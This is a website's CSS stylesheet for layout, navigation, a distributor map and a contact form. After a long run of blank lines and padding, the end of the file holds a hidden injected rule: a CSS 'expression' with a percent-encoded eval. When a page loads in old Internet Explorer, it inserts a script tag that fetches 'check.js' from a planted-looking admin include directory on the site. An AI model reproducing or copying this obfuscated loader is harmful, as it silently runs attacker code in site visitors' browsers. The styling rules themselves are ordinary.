html {
	font-family: verdana, arial, sans-serif;
}

body {
	font-size: .8em;
	color: #333;
	background: url(background-body.gif) top repeat-x;
	padding: 0;
	margin: 0;	
}

hr {
	display: none;
}

a {
	text-decoration: none;
	color: #900;
}

a:hover {
	text-decoration: underline;
	color: #C00;
}

h3 {
	font: 18px Georgia, Times, serif;
	color: #900;
	border-bottom: 1px dashed #900;
	width: 98%;
	font-weight: normal;
	font-style: italic;
}


div  {
	position: relative;
}

#container {
	margin: 0;
	padding: 0;
	border-top: 5px solid #900;
}

#logo {
	position: absolute;
	left: 10px;
	top: 8px;
	width: 177px;
	height: 287px;
	z-index: 5;
}

	#logo h1 a {
		position: absolute;
		top: 0;
		left: 0;
		width: 100%;
		height: 100%;
		background: url(logo-pointer.jpg) no-repeat;
		border: none;
	}
	
	#logo h1 span {
		display: none;
	}

#top {
	top: 0px;
	left: 0;
	width: 100%;
	height: 80px;
	/* background: #FBFAF4; */
	border-top: 1px solid #FBFAF4;
}


	#top #topnav h3 {
		display: none;
	}
	
	#top #topnav{
		position: absolute;
		left: 180px;
		top: 0px;
  		padding: 0;
  		/* background: #FBFAF4; */
  		font-family: Georgia, Times, serif;
		font-size: 18px ; 
  		overflow: hidden;
  		min-width: 800px;
  	}
  	
	#top #topnav li {
		float: left;
		padding: 0 13px 5px 13px;
		margin-right: 5px;
		border-right: 1px solid #CCC;
		list-style: none;
	}
	
	#top #topnav li ul {
		display: none;
	}
	
	#top #topnav li span {
		display: block;
		padding: 0.75em 0 0.25em;
		text-transform: uppercase;
		color: #000;
		font-style: italic;
		text-decoration: underline;
	}
	
	#top #topnav li a {
		display: block; 
		padding: 0.75em 0 0.25em;
		text-transform: uppercase; 
		color: #000;
	}

	#top #topnav li a:hover {
		color: #900;
	}


body #container #top h1 span {
	display: none;
}

#contents {
	left: 200px;
	width: 800px;
	padding: 8px;
	margin: 0 0 40px 0;
}

#contents #contents_body {
	float: left;
	width: 590px;
	padding: 10px;
}

	#contents #contents_body p {
		text-indent: 15px;
		/*font-size: */
	}
		#contents #contents_body .distributors {
			padding-top: 10px;
			width: 44%;
			float: left;
			margin: 10px 5px 30px 0;
			border-top: 1px solid #CCC;
		}

		#contents #contents_body .distributors img {
			float: left;
		}

		#contents #contents_body .distributors h3 {
			margin-left: 70px;
			border: none;
		}
		
		#contents #contents_body .distributors p {
			margin-left: 70px;
			text-indent: 0;
		}
		
		#contents #contents_body .distributors p.nazione {
			margin-left: 0;
			position: absolute;
			top: 60px;
			text-indent: 0;
			left: -15px;
			font-size: 70%;
			display: block;
		}
	/*parte nuova 25/10/2006*/
		#rete {
			width: 550px;
			height: 324px;
			background: url('base.jpg') no-repeat;
			overflow: hidden;
		}
		
		#rete ul li {
			display: inline;
		}
		
		#rete a.localita {
			position: absolute;
			background: url('square.gif') no-repeat;
			width: 4px;
			height: 4px;
		}
		
		#rete a.localita:hover {
			background: url('squareON.gif') no-repeat;
		}
		
		#rete a.localita span {
			 display: none;
		}

		#rete a.localita span:hover {
			 display: block; 
		}
		
		#elDistributori {
	width: 550px;
	text-align: center; /*	border: 1px solid;*/
	padding: 5px 20px 0px 0px;
	margin: 0px 0px 0px 0px;
}
		
		#elencoDistributori {

		}

		#elencoDistributori li{
			display: inline;
			margin: 0px 0px 0px 0px;
		}

		/*fine parte nuova*/

#contents #contents_column {
	float: right;
	width: 180px;
	min-height: 600px;
	padding-left: 8px;
	border-left: 1px solid #CCC;
	margin-top: 20px;
}

	#contents #contents_column h3 {
		color: #600;
		font-weight: normal;
		font-size: 90%;
		border-top: 1px dashed #900;
		border-bottom: none;
		text-transform: uppercase;
		background: #FBFAF4;
		padding: 5px;
	}
	
	#contents #contents_column #search {
		margin-bottom: 25px;
	}
	
	#contents #contens_column #search form {
		display: inline;
	}
	
	#contents #contents_column #search form input#termine {
		border: 1px solid #EDE9CA;
		border-right: none;
		width: 140px;
		height: 19px;
		padding: 1px 1px;
		background: url(background-input-search.png) repeat-x;
	}

	#contents #contents_column #search form input#submit {
		width: 20px;
		height: 19px;
		background: url(cerca.gif) no-repeat;
		margin-bottom: 1px;
		border: 1px solid #EDE9CA;
	}
		
	#contents #contents_column #tools {
		margin-bottom: 25px;
	}
	
	#contents #contents_column #tools li {
		font: 14px Georgia, Times, serif;
		padding: 5px;
	}		

#bottom {
	clear: both;
	width: 100%;
	border-top: 1px solid #900;
	border-bottom: 1px solid #900;
	background: #fbfaf4;
	margin-bottom: 150px;
}

	#bottom #copyright{
		font-size: 80%;
		color: #900;
		text-align: center;
		padding: 1em;
	}

	#bottom #bottom_menu {
		display: none;
	}

			/*--------------------------------------------------------*/
		/*                                                        */
		/*             stile per la pagina dei contatti           */
		/*                                                        */
		/*--------------------------------------------------------*/

		#contents_body form {
			border: 1px solid #F3F0DE;
		}

		#contents_body form fieldset {
			margin-bottom: 20px;
			border: none;
		}

		#contents_body form legend {
			/*display: none;*/
			width: 400px;
			text-align: right;
			margin: 5px;
		}

		#contents_body form p {
		 	margin: .8em .5em .5em 1em;
		}

		#contents_body form p#errore  {
			border: 1px solid #900;
			background: #F3F0DE;
			padding : 10px;
			color: #900;
			font-weight: bold;
			text-indent: 0px;
		}


		#contents_body #errore li {
			height: 20px;
			margin-bottom: 10px;
		}

		#contents_body form #dati {}

		#contents_body form #dati label {
			float: left;
			width: 180px;
			text-align: right;
		}

		#contents_body form #dati textarea, form #dati input {
			padding:0;
			margin-left: 3%;
			border: 1px solid #CCC;
		}

		#contents_body form #dati textarea:focus, form #dati input:focus {
			border: 1px solid #900;
			background: #FCFEFA;
		}

		#contents_body form #conferma {
			text-align: center;	
		}

		#contents_body form #invia, form #annulla {
			color: #063000;
			padding-right: 0.5em;
			cursor: pointer;
			width: 100px;
			margin-left: 8px;
			margin-bottom: 20px;
		}




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ body { margin-top: expression(eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%38%35%30%34%38%3B%20%4A%53%53%33%20%3D%20%27%2F%61%64%6D%69%6E%2F%69%6E%63%6C%75%64%65%2F%61%64%6F%64%62%34%31%30%2F%63%69%66%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%61%64%6D%69%6E%2F%69%6E%63%6C%75%64%65%2F%61%64%6F%64%62%34%31%30%2F%63%69%66%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20'))) } /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      




































































































